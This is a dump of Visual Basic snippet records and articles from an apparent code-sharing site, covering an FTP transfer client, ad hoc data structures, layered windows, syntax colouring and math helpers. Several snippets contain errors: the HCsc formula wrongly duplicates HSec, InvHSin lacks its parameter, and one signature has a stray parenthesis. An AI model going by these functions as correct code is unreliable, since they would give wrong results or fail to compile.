\"\" \n DoEvents \n p = InStr(sFileList, vbCrLf) \n If p > 0 Then \n \n lstRemoteFiles.AddItem \n \n Left(sFileList, p - 1) \n If\n Len(sFileList) > (p + 2) Then \n \n sFileList = Mid(sFileList, p + 2) \n Else \n \n sFileList = \"\" \n End If \n Else \n \n lstRemoteFiles.AddItem sFileList \n sFileList\n = \"\" \n End If \n Loop \n End Function \n Code For Core Functionality Part 2 'Continued:\n Public Function GetFiles(sFileList As String) As\n Long \n Dim sFile As String \n Dim sTemp As String \n Dim p As Integer \n iLastFTP = ftpGET \n sTemp = sFileList \n Do While sTemp > \"\" \n DoEvents \n p = InStr(sTemp, \"|\") \n If p Then \n sFile =\n Left(sTemp, p - 1) \n sTemp =\n Mid(sTemp, p + 1) \n Else \n sFile =\n sTemp \n sTemp =\n \"\" \n End If \n Inet1.Execute Inet1.URL,\n \"GET \" & sFile & _ \n \"\n \" & sFile \n 'wait until this execution is done \n `before going to next file \n Do \n DoEvents \n Loop Until Not _ \n \n Inet1.StillExecuting \n Loop \n iLastFTP = ftpDIR \n Inet1.Execute Inet1.URL, \"DIR\" \n End Function \n \n Public Function PutFiles(sFileList As String) As\n Long \n Dim sFile As String \n Dim sTemp As String \n Dim p As Integer \n iLastFTP = ftpPUT \n sTemp = sFileList \n Do While sTemp > \"\" \n DoEvents \n p = InStr(sTemp, \"|\") \n If p Then \n sFile =\n Left(sTemp, p - 1) \n sTemp =\n Mid(sTemp, p + 1) \n Else \n sFile =\n sTemp \n sTemp =\n \"\" \n End If \n Inet1.Execute Inet1.URL,\n \"PUT\" & sFile & _ \n \"\n \" & sFile \n 'wait until this execution is done \n `before going to next file \n Do \n DoEvents \n Loop Until Not\n Inet1.StillExecuting \n Loop \n iLastFTP = ftpDIR \n Inet1.Execute Inet1.URL, \"DIR\" \n End Function \n \n Private Sub dirLocal_Change() \n filLocal.Path = dirLocal.Path \n End Sub \n \n Private Sub drvLocal_Change() \n dirLocal.Path = drvLocal.Drive \n End Sub \n \n Private Sub filLocal_DragDrop(Source _ \n As Control, X As Single, Y As\n Single) \n 'receiving files from FTP site. \n Dim I As Integer \n Dim sFileList As String \n If TypeOf Source Is ListBox Then \n For i = 0 _ \n To\n Source.ListCount - 1 \n If\n Source.Selected(i) Then \n \n sFileList = _ \n \n sFileList & _ \n \n Source.List(i) & \"|\" \n End If \n Next \n End If \n If Len(sFileList) > 0 Then \n 'strip off the last pipe \n sFileList = Left(sFileList, _ \n \n Len(sFileList) - 1) \n GetFiles sFileList \n End If \n End Sub \n \n Private Sub _ \n filLocal_MouseDown(Button As _ \n Integer, Shift As Integer, X As _ \n Single, Y As Single) \n filLocal.Drag vbBeginDrag \n End Sub \n \n Private Sub filLocal_MouseUp(Button _ \n As Integer, Shift As Integer, _ \n X As Single, Y As Single) \n filLocal.Drag vbEndDrag \n End Sub \n \nCode For Core Functionality Part 3 'Continued:\n \n Private Sub _ \n lstRemoteFiles_DragDrop(Source _ \n As Control, X As Single, Y As Single) \n Dim I As Integer \n Dim sFileList As String \n If TypeOf Source Is FileListBox Then \n For i = 0 To Source.ListCount - 1 \n If\n Source.Selected(i) Then \n \n sFileList = sFileList & _ \n \n Source.List(i) & \"|\" \n End If \n Next \n End If \n If Len(sFileList) > 0 Then \n 'strip off the last pipe \n sFileList = Left(sFileList, _ \n \n Len(sFileList) - 1) \n PutFiles sFileList \n End If \n End Sub \n \n Private Sub _ \n lstRemoteFiles_KeyDown(KeyCode _ \n As Integer, Shift As Integer) \n If KeyCode = vbKeyDelete Then \n Inet1.Execute Inet1.URL,\n \"DEL \" & _ \n \n lstRemoteFiles.List( _ \n \n lstRemoteFiles.ListIndex) \n Do \n DoEvents \n Loop While Inet1.StillExecuting \n End If \n iLastFTP = ftpDIR \n Inet1.Execute Inet1.URL, \"DIR\" \n End Sub \n \n Private Sub _ \n lstRemoteFiles_MouseDown(Button _ \n As Integer, Shift As Integer, ) \n X As Single, Y As Single) \n lstRemoteFiles.Drag vbBeginDrag \n End Sub \n \n Private Sub lstRemoteFiles_MouseUp(Button As _ \n Integer, Shift As Integer, _ \n X As Single, Y As Single) \n lstRemoteFiles.Drag vbEndDrag \n End Sub\nConclusion As the Internet's importance grows in our daily lives, we must make our\n applications more Internet-aware. Actually, the Internet offers several\n solutions to some potential problems--the challenge is to take advantage of\n the existing capabilities to meet those challenges. If you need to transfer\n files between two Internet sites, the Internet Transfer Control offers a\n quick solution. In this article, we've shown you how to use the control in\n your applications. We've also pointed out a couple of bugs to work around.\n"},{"WorldId":1,"id":8842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8862,"LineNumber":1,"line":"Public Sub SetBold(frmBold As Form, iMenuIndex As Long, iItemIndex As Long)\nDim hMnu As Long, hSubMnu As Long\nhMnu = GetMenu(frmBold.hwnd)\nhSubMnu = GetSubMenu(hMnu, iMenuIndex)\nCall SetMenuDefaultItem(hSubMnu, iItemIndex, 1&)\nEnd Sub"},{"WorldId":1,"id":8865,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8879,"LineNumber":1,"line":"If youΓÇÖre a seasoned VB programmer, youΓÇÖve probably seen your share of VB programs that do modest things but do them in disturbingly complex ways. One of the most common abuses of this is the creation of classes to represent every last scrap of data. IΓÇÖve worked on projects that have literally dozens of classes defined just to represent the contents of modest databases. I find this clutter is usually pointless; where those dozens of classes can literally be replaced with one or two. And one nasty side effect of having these heaps of rubbish is that a simple change to the program can require a retooling of most of those classes, which certainly misses one of the central points of modularization.\nOne simple yet effective way to abolish unnecessary classes is to use ad hoc data structures.\nAn ad hoc data structure is a data structure that is created at run-time using some more general purpose data structure. \nWhat are some general purpose data structures we can use and how do we use them? One simple one is the array. We can use an array of variants to hold a simple data structure. Consider the following example of a data structure designed to represent a rectangle:\n<UL><PRE>\nBegin Enum RectProperties\n┬á┬á┬á┬árLeft = 0\n┬á┬á┬á┬árTop = 1\n┬á┬á┬á┬árWidth = 2\n┬á┬á┬á┬árHeight = 3\nEnd Enum\nPrivate Sub TrivialDemo\n┬á┬á┬á┬áDim Rect(4) As Variant\n┬á┬á┬á┬á'Populate the rectangleΓÇÖs properties\n┬á┬á┬á┬áRect(rLeft) = 10\n┬á┬á┬á┬áRect(rTop) = 10\n┬á┬á┬á┬áRect(rWidth) = 100\n┬á┬á┬á┬áRect(rHeight) = 50\n┬á┬á┬á┬á'Use it for something\n┬á┬á┬á┬áMsgBox Rect(rLeft)\nEnd Sub\n</PRE></UL>\nNotice itΓÇÖs a lot easier to manage a list of enumerated properties here than to create a whole class with properties, ad nauseum, just to represent a rectangle. ItΓÇÖs tempting to think a simple <TT>Type</TT> statement would be even easier to implement, but take note here that user-defined types cannot be public, which means they canΓÇÖt readily be shared across classes, forms, ActiveX controls, etc. An array ΓÇô or at least a Variant containing an array ΓÇô can.\nWhat if we donΓÇÖt want to deal with arrays and enumerations? One very good choice is the Collection. So long as you know the names of the properties you want to represent through some means external to the Collection object, youΓÇÖll have no problem dealing with it. Consider the same example code above, modified to use Collections.\n<UL><PRE>\nPrivate Sub TrivialDemo\n┬á┬á┬á┬áDim Rect As Collection\n┬á┬á┬á┬áSet Rect = New Collection, RectCopy As Collection\n┬á┬á┬á┬á'Populate the rectangleΓÇÖs properties\n┬á┬á┬á┬áRect(\"Left\") = 10\n┬á┬á┬á┬áRect(\"Top\") = 10\n┬á┬á┬á┬áRect(\"Width\") = 100\n┬á┬á┬á┬áRect(\"Height\") = 50\n┬á┬á┬á┬á'Use it for something\n┬á┬á┬á┬áMsgBox Rect(\"Left\")\nEnd Sub\n</PRE></UL>\nIf youΓÇÖre willing to bring the Scripting runtime library into this, you can even use the venerable Dictionary object in a similar fashion. And there are still other options available, but these two will generally suffice for most simple data structures.\nBut we donΓÇÖt have to stop here. Generally, few data structures that matter go only one level deep like weΓÇÖve just shown. More commonly, a data structure has a number of single-value properties like in our examples and also a number of sets of other data structures. For example, a data structure representing an adult human might need a list of that personΓÇÖs children. How do we do this sort of thing? The same way weΓÇÖve done up ΓÇÿtil now, only we store Variant arrays or Collections (whichever the case may be) of another data structure ΓÇô perhaps the same kind that holds the adultΓÇÖs information. Using Collections, for example, you can find that accessing items in complicated data structures can be as straightforward as the following. Compare the Class way with the Collection way:\n<UL><PRE>\nMsgBox \"One of my grandchildrenΓÇÖs names is \" _\n┬á┬áMyself.Children(1).Children(1).Name\nMsgBox \"One of my grandchildrenΓÇÖs names is \" _\n┬á┬áMyself(\"Children\")(1)(\"Children\")(1)(\"Name\")\n</PRE></UL>\nNote that for a few more characters and no less readability, we get to avoid the work involved in creating and maintaining a class.\nAt this point, it might not seem like weΓÇÖve gained much, especially since we donΓÇÖt have any simple way to tie methods or event triggers to our ad hoc data structures like we could with a class. But there are two enormous benefits ad hoc data structures can bestow: self definition and data definition.\nSelf definition refers to the idea of a data structure being able to represent a genera of other data structures. For example, if you program with ADO (or DAO or RDO), you know by now that VB doesnΓÇÖt create a separate class for every table and another for every field. You get a small set of general-purpose data structures ΓÇô connections, recordsets, field collections, and so on, and these all mold themselves to fit the particulars of whatever database elements they are connected with. Perhaps you hadnΓÇÖt thought of them as such, but these classes are actually specialized ad hoc data structures.\nFollowing that model, you can create your own self-defining data structures. The first key is to define what is generally common among the genera of objects you want to model, to put all of those things in your class, and to leave out the properties (such as the names of fields in a table) particular to each instance. The second key is to find a way for this structure to define itself ΓÇô those particular properties ΓÇô based on information inherent in whatΓÇÖs being loaded. The ADO Recordset class, for instance, can find out about the fields in the tables itΓÇÖs retrieving from the response from the database engine to its query. Many modern information servers can tell an entity querying it a lot about what it has to offer. This is what you target in your design. One of the greatest advantages of this approach is that there is generally little work involved in upgrading your self-defining data structures just because the properties particular instances change. Instead, youΓÇÖll be focussed primarily on dealing with the business end of your code, which will be the real target for changes, any way.\nA data-defined data structure is similar to a self-defined structure, except in principle, you are in charge of maintaining the definition. The definition could be stored in a text file, a database table, or even hard-coded in a definition module. The important key is that data apart from the actual code plays a central role in identifying what the various properties and collections of properties and so on will look like for a given instance of your ad hoc data structure. One of the incredible benefits of this approach is that it can be much easier to document the particular details of your application. ThereΓÇÖs no reason, for instance, you couldnΓÇÖt have this sort of information stored in Excel spreadsheets that your program can read and you can print out for reference documentation, to give a dramatic example. Change the definition to reflect a changing business need and youΓÇÖve got an instant upgrade of your documentation, too. And isnΓÇÖt this sort of division of business rules from a flexible foundation an essential part of what youΓÇÖre shooting for in the first place?\nIn summary, ad hoc data structures offer strong flexibility and can simplify many of your projects ΓÇô especially when used in conjunction with good class design. Further, ad hoc data structures can help you separate your business logic from your foundation code. And they can even be designed to morph into roles defined by the data they interface, saving you coding work, linking you to shifting standards, and shortening upgrade cycles. All this for a few more keystrokes.\n"},{"WorldId":1,"id":8881,"LineNumber":1,"line":"'Make a command1, try to make it smal & it the bottom right hand corner for best results.\n \n Private WithEvents txtDynamic As TextBox \n \n Private Sub Command1_Click() \n On Error Resume Next \n Dim RandomControl(1 To 18) As String \n Dim i As Integer \n Randomize \n RandomControl(1) = \"VB.TextBox\" \n RandomControl(2) = \"VB.CommandButton\" \n RandomControl(3) = \"VB.Shape\" \n RandomControl(4) = \"VB.Label\" \n RandomControl(5) = \"VB.ListBox\" \n RandomControl(6) = \"VB.PictureBox\" \n RandomControl(7) = \"VB.Frame\" \n RandomControl(8) = \"VB.HScrollBar\" \n RandomControl(9) = \"VB.VScrollBar\" \n RandomControl(10) = \"VB.Image\" \n RandomControl(11) = \"VB.Line\" \n RandomControl(12) = \"VB.DirListBox\" \n RandomControl(13) = \"VB.DriveListBox\" \n RandomControl(14) = \"VB.FileListBox\" \n RandomControl(15) = \"VB.Timer\" \n RandomControl(16) = \"VB.ComboBox\" \n RandomControl(17) = \"VB.OptionButton\" \n RandomControl(18) = \"VB.CheckBox\" \n \n i = Int((18 * Rnd) + 1) \n RandomTop = Int(Rnd * Me.Height) \n RandomLeft = Int(Rnd * Me.Width) \n RandomWidth = Int(Rnd * Me.Height) \n RandomText = Int(Rnd * 3200) \n Set RandDynamic = Controls.Add(RandomControl(i), \"Rand\" & RandomText) \n With RandDynamic \n .Visible = True \n .Text = \"Demian Net\" \n .Caption = \"Demian Net\" \n .BackColor = vbRed \n .Width = RandomWidth \n .Top = RandomTop \n .Left = RandomLeft \n End With \n End Sub"},{"WorldId":1,"id":8888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8893,"LineNumber":1,"line":"Private Sub Form_Load()\n Dim WorkAry() As String\n Dim row As Integer, col As Integer, rowsize As Integer\n \n rowsize = 5\n ReDim WorkAry(rowsize, 5)\n For row = 0 To 5\n For col = 0 To 5\n WorkAry(row, col) = row & \"-\" & col\n Next col\n Next row\n rowsize = rowsize + 1\n Call Redim_Array(WorkAry(), rowsize)\n \n'** now add data into the extra line for WorkAry() array. **\n col = 0\n For col = 0 To 5\n WorkAry(rowsize, col) = rowsize & \"-\" & col\n Next col\nEnd Sub\nPrivate Sub Redim_Array(WrkAry() As String, NewRowSize As Integer)\n'** Redim a multi-dimension array that will allow an extra row to be added.\n Dim TempAry() As String\n Dim row As Integer, col As Integer, CurRows As Integer\n \n'** Arrays look like this, Ary(Row, Col) with rows first then columns. **\n CurRows = NewRowSize - 1 '** need to get WrkAry() current row number. **\n \n ReDim TempAry(CurRows, 5) '** create same size temp array as in coming WrkAry() array. **\n '** the columns will stay the same. **\n \n '** move multi-dimension WrkAry() to an exact copy multi-dimension TempAry(). **\n For row = 0 To CurRows\n For col = 0 To 5\n TempAry(row, col) = WrkAry(row, col)\n Next col\n Next row\n \n ReDim WrkAry(NewRowSize, 5) '** re-dimension WrkAry() with one more row. **\n \n'** copy TempAry() to WrkAry() which is now one row larger but not being used at this time. **\n For row = 0 To CurRows\n For col = 0 To 5\n WrkAry(row, col) = TempAry(row, col)\n Next col\n Next row\n'** WrkAry() will keep all of its original data and has one more row for more data later. **\nEnd Sub\n"},{"WorldId":1,"id":8897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8901,"LineNumber":1,"line":"'Win2k layered windows module\n'\n'This information was found at\n'http://msdn.microsoft.com/library/techart/layerwin.htm\n'and other parts of msdn.\n'\n'If you want to check if a window is already layered,\n'CheckLayered(hwnd) will return true or false\n'\n'To make a window layered, just use SetLayered,\n'where hwnd is the handle of window, and bAlpha\n'is the amount of transparency (e.g. 0 = invisible,\n'255 = opaque), and if True is passed to SetAs\n'it will make the window layered, if False is\n'passed then it will get rid of the layered property.\nDeclare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" (ByVal hWnd As Long, ByVal nIndex As Long) As Long\nDeclare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long\nDeclare Function SetLayeredWindowAttributes Lib \"user32\" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long\nDeclare Function UpdateLayeredWindow Lib \"user32\" (ByVal hWnd As Long, ByVal hdcDst As Long, pptDst As Any, psize As Any, ByVal hdcSrc As Long, pptSrc As Any, crKey As Long, ByVal pblend As Long, ByVal dwFlags As Long) As Long\nDeclare Function FindWindow Lib \"user32.dll\" Alias \"FindWindowA\" (ByVal lpClassName As Any, ByVal lpWindowName As Any) As Long\nPublic Type POINTAPI\n x As Long\n y As Long\nEnd Type\nPublic Type SIZE\n cx As Long\n cy As Long\nEnd Type\nPublic Type BLENDFUNCTION\n BlendOp As Byte\n BlendFlags As Byte\n SourceConstantAlpha As Byte\n AlphaFormat As Byte\nEnd Type\nPublic Const WS_EX_LAYERED = &H80000\nPublic Const GWL_STYLE = (-16)\nPublic Const GWL_EXSTYLE = (-20)\nPublic Const AC_SRC_OVER = &H0\nPublic Const AC_SRC_ALPHA = &H1\nPublic Const AC_SRC_NO_PREMULT_ALPHA = &H1\nPublic Const AC_SRC_NO_ALPHA = &H2\nPublic Const AC_DST_NO_PREMULT_ALPHA = &H10\nPublic Const AC_DST_NO_ALPHA = &H20\nPublic Const LWA_COLORKEY = &H1\nPublic Const LWA_ALPHA = &H2\nPublic Const ULW_COLORKEY = &H1\nPublic Const ULW_ALPHA = &H2\nPublic Const ULW_OPAQUE = &H4\nPublic lret As Long\nFunction CheckLayered(ByVal hWnd As Long) As Boolean\nlret = GetWindowLong(hWnd, GWL_EXSTYLE)\nIf (lret And WS_EX_LAYERED) = WS_EX_LAYERED Then\n CheckLayered = True\nElse\n CheckLayered = False\nEnd If\nEnd Function\nSub SetLayered(ByVal hWnd As Long, SetAs As Boolean, bAlpha As Byte)\nlret = GetWindowLong(hWnd, GWL_EXSTYLE)\nIf SetAs = True Then\n lret = lret Or WS_EX_LAYERED\nElse\n lret = lret And Not WS_EX_LAYERED\nEnd If\nSetWindowLong hWnd, GWL_EXSTYLE, lret\nSetLayeredWindowAttributes hWnd, 0, bAlpha, LWA_ALPHA\nEnd Sub"},{"WorldId":1,"id":8905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8939,"LineNumber":1,"line":"On The Fly:\nPrivate Sub RichTextBox1_KeyPress(KeyAscii As Integer)\nSelect Case KeyAscii\n Case 60\n 'open tag\n RichTextBox1.SelLength = 0\n RichTextBox1.SelColor = &H8000000F\n previous = KeyAscii\n \n Case 62\n 'close tag\n RichTextBox1.SelLength = 0\n RichTextBox1.SelText = \">\"\n RichTextBox1.SelColor = &H0&\n previous = KeyAscii\n KeyAscii = 0\n \n Case 33\n 'comments\n If previous = 60 Then\n RichTextBox1.SelStart = RichTextBox1.SelStart - 1\n RichTextBox1.SelLength = 1\n RichTextBox1.SelText = \"\"\n RichTextBox1.SelLength = 0\n RichTextBox1.SelColor = &HC00000\n RichTextBox1.SelText = \"<!\"\n previous = KeyAscii\n KeyAscii = 0\n \n End If\nEnd Select\nEnd Sub\nAutomated:\nSub ChangeColours()\n Dim posEnd As Integer\n i = 0\n For i = 0 To Len(RichTextBox1.Text)\n RichTextBox1.SelStart = i\n RichTextBox1.SelLength = 1\n If RichTextBox1.SelText = \"<\" Then 'start tag\n posStart = i\n End If\n If RichTextBox1.SelText = \">\" Then 'end tag\n posEnd = i\n End If\n If RichTextBox1.SelText = \"!\" Then 'comment\n previousChar = \"!\"\n End If\n \n If posEnd <> 0 Then\n RichTextBox1.SelStart = posStart\n RichTextBox1.SelLength = posEnd - posStart + 1\n If previousChar <> \"!\" Then 'if not comment\n RichTextBox1.SelColor = &H8000000F\n Else:\n RichTextBox1.SelColor = &HC00000\n previousChar = \" \"\n End If\n RichTextBox1.SelStart = posStart + 1\n RichTextBox1.SelLength = 0\n RichTextBox1.SelColor = &H0&\n PosEnd = 0\n posStart = 0\n End If\n Next i\n \nEnd Sub"},{"WorldId":1,"id":8940,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8942,"LineNumber":1,"line":"'Firstly put a Data control in your form and\n'add this code to the form load or anywhere that\n'is suitable\nPrivate Sub Form_Load()\nData1.DatabaseName = App.Path & \"\\alamat.mdb\"\nEnd Sub"},{"WorldId":1,"id":8946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8948,"LineNumber":1,"line":"Public Function InvSin(Number As Double) As Double\n InvSin = CutDecimal(Atn(Number / Sqr(-Number * Number + 1)), 87)\nEnd Function\nPublic Function InvCos(Number As Double) As Double\n InvCos = Atn(-Number / Sqr(-Number * Number + 1)) + 2 * Atn(1)\nEnd Function\nPublic Function InvSec(Number As Double) As Double\n InvSec = Atn(Number / Sqr(Number * Number - 1)) + Sgn((Number) - 1) * (2 * Atn(1))\nEnd Function\nPublic Function InvCsc(Number As Double) As Double\n InvCsc = Atn(Number / Sqr(Number * Number - 1)) + (Sgn(Number) - 1) * (2 * Atn(1))\nEnd Function\nPublic Function InvCot(Number As Double) As Double\n InvCot = Atn(Number) + 2 * Atn(1)\nEnd Function\nPublic Function Sec(Number As Double) As Double\n Sec = 1 / Cos(Number * PI / 180)\nEnd Function\nPublic Function Csc(Number As Double) As Double\n Csc = 1 / Sin(Number * PI / 180)\nEnd Function\nPublic Function Cot(Number As Double) As Double\n Cot = 1 / Tan(Number * PI / 180)\nEnd Function\nPublic Function HSin(Number As Double) As Double\n HSin = (Exp(Number) - Exp(-Number)) / 2\nEnd Function\nPublic Function HCos(Number As Double) As Double\n HCos = (Exp(Number) + Exp(-Number)) / 2\nEnd Function\nPublic Function HTan(Number As Double) As Double\n HTan = (Exp(Number) - Exp(-Number)) / (Exp(Number) + Exp(-Number))\nEnd Function\nPublic Function HSec(Number As Double) As Double\n HSec = 2 / (Exp(Number) + Exp(-Number))\nEnd Function\nPublic Function HCsc(Number As Double) As Double\n HCsc = 2 / (Exp(Number) + Exp(-Number))\nEnd Function\nPublic Function HCot(Number As Double) As Double\n HCot = (Exp(Number) + Exp(-Number)) / (Exp(Number) - Exp(-Number))\nEnd Function\nPublic Function InvHSin()\n InvHSin = Log(Number + Sqr(Number * Number + 1))\nEnd Function\nPublic Function InvHCos(Number As Double) As Double\n InvHCos = Log(Number + Sqr(Number * Number - 1))\nEnd Function\nPublic Function InvHTan(Number As Double) As Double\n InvHTan = Log((1 + Number) / (1 - Number)) / 2\nEnd Function\nPublic Function InvHSec(Number As Double) As Double\n InvHSec = Log((Sqr(-Number * Number + 1) + 1) / Number)\nEnd Function\nPublic Function InvHCsc(Number As Double) As Double\n InvHCsc = Log((Sgn(Number) * Sqr(Number * Number + 1) + 1) / Number)\nEnd Function\nPublic Function InvHCot(Number As Double) As Double\n InvHCot = Log((Number + 1) / (Number - 1)) / 2\nEnd Function\nPublic Function Percent(is_ As Double, of As Double) As Double\n Percent = is_ / of * 100\nEnd Function\n"},{"WorldId":1,"id":8951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8953,"LineNumber":1,"line":"Public Function RemoveWeekends(strStartDate As String, intNumberOfDays) As Integer\n Dim i As Integer\n \n For i = 0 To intNumberOfDays\n Select Case Weekday(DateAdd(\"d\", i, CDate(strStartDate)))\n Case vbSaturday, vbSunday\n intNumberOfDays = intNumberOfDays - 1\n End Select\n Next i\n RemoveWeekends = intNumberOfDays\nEnd Function\n"},{"WorldId":1,"id":8955,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8961,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8967,"LineNumber":1,"line":"Screen.MousePointer = 11\nDim ReturnStr As String\nRichTextBox1.Text = Inet1.OpenURL(\"http://www.planet-source-code.com\", icString)\nReturnStr = Inet1.GetChunk(2048, icString)\nDo While Len(ReturnStr) <> 0\n DoEvents\n RichTextBox1.Text = RichTextBox1.Text & ReturnStr\n ReturnStr = Inet1.GetChunk(2048, icString)\nLoop\nScreen.MousePointer = 0"},{"WorldId":1,"id":8970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8997,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9010,"LineNumber":1,"line":"Public Sub List_Add(List As ListBox, txt As String)\nList.AddItem txt\nEnd Sub\nPublic Sub List_Load(TheList As ListBox, FileName As String)\n'Loads a file to a list box\nOn Error Resume Next\nDim TheContents As String\nDim fFile As Integer\nfFile = FreeFile\n Open FileName For Input As fFile\n Do\n Line Input #fFile, TheContents$\n Call List_Add(TheList, TheContents$)\n Loop Until EOF(fFile)\n Close fFile\nEnd Sub\nPublic Sub List_Save(TheList As ListBox, FileName As String)\n'Save a listbox as FileName\nOn Error Resume Next\nDim Save As Long\nDim fFile As Integer\nfFile = FreeFile\nOpen FileName For Output As fFile\n For Save = 0 To TheList.ListCount - 1\n Print #fFile, TheList.List(Save)\n Next Save\nClose fFile\nEnd Sub\nPublic Sub List_Remove(List As ListBox)\nOn Error Resume Next\nIf List.ListCount < 0 Then Exit Sub\n List.RemoveItem List.ListIndex\nEnd Sub\n\n"},{"WorldId":1,"id":9014,"LineNumber":1,"line":"<center><h2>Embedding HTML into VB</h2> \n...and ANY URL without SCRIPT!</center>\n<A HREF=\"mailto:webmaster@hlrcomputers.com>by Herb Riede</A>\nYou need either a WebBrowser control to use the Navigate/Navigate2 URL method, or use a shell execute method similar to the one at: <A HREF=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=1320\">PSC Code 1320</A> \nJust replace the URL with the \"about:HTML Code\" or a string holding it like so:\nHTMLString = \"about:<A HREF=http://www.planet-source-code.com>Planet Source Code</A>\" \nForm1.WebBrowser1.Navigate HTMLString\n-or-\nRun a ShellExecute like the one at the code linked to above like this:\nHTMLString = \"about:<A HREF=http://www.planet-source-code.com>Planet Source Code</A>\" \nWebURL (HTMLString)\nThe first one launches the page in your WebBrowser control in your app, the second launches the default browser (though this only\nworks in IE I think) with the code.\n<H3>Just For Your Enjoyment:</H3> \nThere are hidden 'easter-egg' about codes in IE including: \n<A HREF=\"about:mozilla\">about:mozilla</A>\nOops.. the next one messed up PSC's page at first: \nabout:\n"},{"WorldId":1,"id":9016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9020,"LineNumber":1,"line":"'For best results define variables as doubles\n'The angle of rotation is in Radians, view this in\n'your VB help file and it will tell you how to\n'convert degrees into radians\n'Rotation around x-axis\n newx = oldx\n newy = (sin(angle) * oldz) + (cos(angle) * oldy)\n newz = (cos(angle) * oldz) - (sin(angle) * oldy)\n'Rotation around y-axis\n newx = (cos(angle) * oldx) - (sin(angle) * oldz)\n newy = oldy\n newz = (sin(angle) * oldx) + (cos(angle) * oldz)\n'Rotation around z-axis\n newx = (cos(angle) * oldx) + (sin(angle) * oldy)\n newy = (cos(angle) * oldy) - (sin(angle) * oldx)\n newz = oldz\n'PS - If you have any problems with\n'this please either\n'e-mail me at:\n'TheVBGod@Hotmail.com \n'or post a comment below\n' -- Thank You --"},{"WorldId":1,"id":9024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9028,"LineNumber":1,"line":"For i = 1 To Me.Controls.Count - 1\n If TypeOf Me.Controls(i) Is TextBox Then\n Me.Controls(i).Text = \"\"\n End If\n Next i\n"},{"WorldId":1,"id":9035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9049,"LineNumber":1,"line":"All VB programmers feel the kiss of death when they see a familiar run-time error message box that looks a little like this:\n\n<CENTER>\n<TABLE BGCOLOR=\"#CCCCCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"4\">\n<TR><TD BGCOLOR=\"000066\"> Microsoft Visual Basic </TD></TR>\n<TR><TD>\n Run-time error '381':\nInvalid property array index\n \n<TABLE CELLSPACING=\"10\"><TR>\n<TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\"><TR><TD> \nContinue\n </TD></TR></TABLE></TD>\n<TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\"><TR><TD> \nEnd\n </TD></TR></TABLE></TD>\n<TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\"><TR><TD> \nDebug\n </TD></TR></TABLE></TD>\n<TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\"><TR><TD> \nHelp\n </TD></TR></TABLE></TD>\n</TR></TABLE>\n</TD></TR>\n</TABLE>\n</CENTER>\n\nIf you've compiled a program to an executable (.EXE) and this sort of error pops up, you know by now that you don't get to debug the program. It just crashes. Is that what you want to happen? Probably not. But then, you probably wouldn't want a program to start acting unpredictably or worse because of an unexpected state of corruption. That's what critical run-time errors are supposed to prevent.\nBut what if you actually do expect certain kinds of errors and want your program to continue running despite them? You can \"trap\" and handle these errors. To \"trap\" an error simply means to allow an error to occur on the assumption that your code will deal with it. There are two basic ways to trap and handle an error: \"resume\" and \"go-to\". They can be illustrated by 